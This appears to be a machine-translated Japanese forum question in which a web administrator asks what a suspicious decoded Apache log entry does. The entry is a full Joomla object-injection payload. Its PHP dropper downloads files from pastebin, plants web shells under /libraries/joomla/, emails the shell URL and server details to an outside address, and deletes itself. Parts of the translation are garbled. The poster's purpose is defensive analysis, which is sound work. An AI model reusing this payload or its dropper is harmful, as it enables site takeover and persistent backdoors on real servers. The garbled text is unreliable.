私は最近、本番環境のApache/PHP/MySQL WebアプリケーションでSQLインジェクションを防ぐことに取り組んでいます。MySQL注入試行 - access.logから複製する方法?
このため、私は定期的に異常な要求のためにApacheアクセスログを探し出し、それらが特有のものを見つけると誰かがそれを再現しようとします。
今日、アクセスログに奇妙なログが表示されていました。 HTTPリファラーが存在することがわかりますが、元のリクエストに一致するログがありません。 Apache Error Logに「サーバー構成によって拒否されました」という意味の一致するログもありません。ここ
奇妙ログ(base_64復号)である:
169.239.180.100 - - [22 /月/ 2017:04:01:37 +0000] "GET/HTTP/1.1" 200 13963 " - " O:21: "JDatabaseDriverMysqli":3:{s:2:\ "fc \"; O:17:\ "JSimplepieFactory \":0:{} s:21:\ "\ 0 \ a:1:{i:0; a:2:{i:0; O:9:\ "SimplePie \":5:{s:8:\ "sanitize \"; O:20} :\ "JDatabaseDriverMysql \":0:{} s:8:\ "feed_url \"; s:3462:\ "$ check = $ _SERVER ['DOCUMENT_ROOT'] "/libraries/lol.php"; $ fp = fopen( "$ check"、 "w +"); ますfwrite($ fpは、BASE64_DECODE( '
<?php
function http_get($url){
$im = curl_init($url);
curl_setopt($im, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($im, CURLOPT_CONNECTTIMEOUT, 10);
curl_setopt($im, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($im, CURLOPT_HEADER, 0);
return curl_exec($im);
curl_close($im);
}
$check = $_SERVER['DOCUMENT_ROOT'] . "/libraries/joomla/wl.php" ;
$text = http_get('http://pastebin.com/raw/hjvDMQX1');
$open = fopen($check, 'w');
fwrite($open, $text);
fclose($open);
if(file_exists($check)){
echo $check."</br>";
}else
echo "not exits";
echo "done .\n " ;
$check2 = $_SERVER['DOCUMENT_ROOT'] . "/libraries/joomla/jmail.php" ;
$text2 = http_get('http://pastebin.com/raw/KPh36MAb');
$open2 = fopen($check2, 'w');
fwrite($open2, $text2);
fclose($open2);
if(file_exists($check2)){
echo $check2."</br>";
}else
echo "not exits2";
echo "done2 .\n " ;
$check3=$_SERVER['DOCUMENT_ROOT'] . "/s.htm" ;
$text3 = http_get('http://pastebin.com/raw/3Z6ZCHtZ');
$op3=fopen($check3, 'w');
fwrite($op3,$text3);
fclose($op3);
$check4=$_SERVER['DOCUMENT_ROOT'] . "/libraries/joomla/check.php" ;
$text4 = http_get('http://pastebin.com/raw/RA3giT4L');
$op4=fopen($check4, 'w');
fwrite($op4,$text4);
fclose($op4);
$check5=$_SERVER['DOCUMENT_ROOT'] . "/libraries/joomla/jmails.php" ;
$text5 = http_get('http://pastebin.com/raw/KPh36MAb');
$op5=fopen($check5, 'w');
fwrite($op5,$text5);
fclose($op5);
$toz = "[email protected]";
$subject = 'Jom zzz ' . $_SERVER['SERVER_NAME'];
$header = 'from: Saico <[email protected]>' . "\r\n";
$message = "Shellz : http://" . $_SERVER['SERVER_NAME'] . "/libraries/joomla/jmail.php?u" . "\r\n" . php_uname() . "\r\n";
$sentmail = @mail($toz, $subject, $message, $header);
@unlink(__FILE__);
?>
')); fclose($ fp); s:5:\ "キャッシュ\"; b:1; s:11:\ "キャッシュ名\"; s:6: \ "キャッシュ\クラス\"; O:20:\ "JDatabaseDriverMysql \":0:{}} i:1; s:4:\ "init \";}} s:13:\ "\ 0 \ 0 \ 0connection \ "; b:1;} \ xf0 \ xfd \ xfd \ xfd"
このGET要求をPostman経由で複製しようとしましたが、 "無効なXMLHTTPRequest"と見なされます。私はどのようにこれを通常テストするか分からないのですか?
また、これが何をするのか(または何をしようとしているのか)わかりません。これが何をしようとしているのか(それが成功したのか)についての情報や理論は、大いに感謝しています。
私は、HTTPリファラーを介してSQLをいくつかの「フレームワーク」に挿入するだけの簡単な試みだと考えていますが、私は専門家ではありません。助けを前にありがとう。
まず、そのペイロードをデコードして、内容を確認してください。ちょっと評価してください。 –
興味深い、良いアイデア。ログを手動でデコードして回答を更新しました。 (:ハハ。 –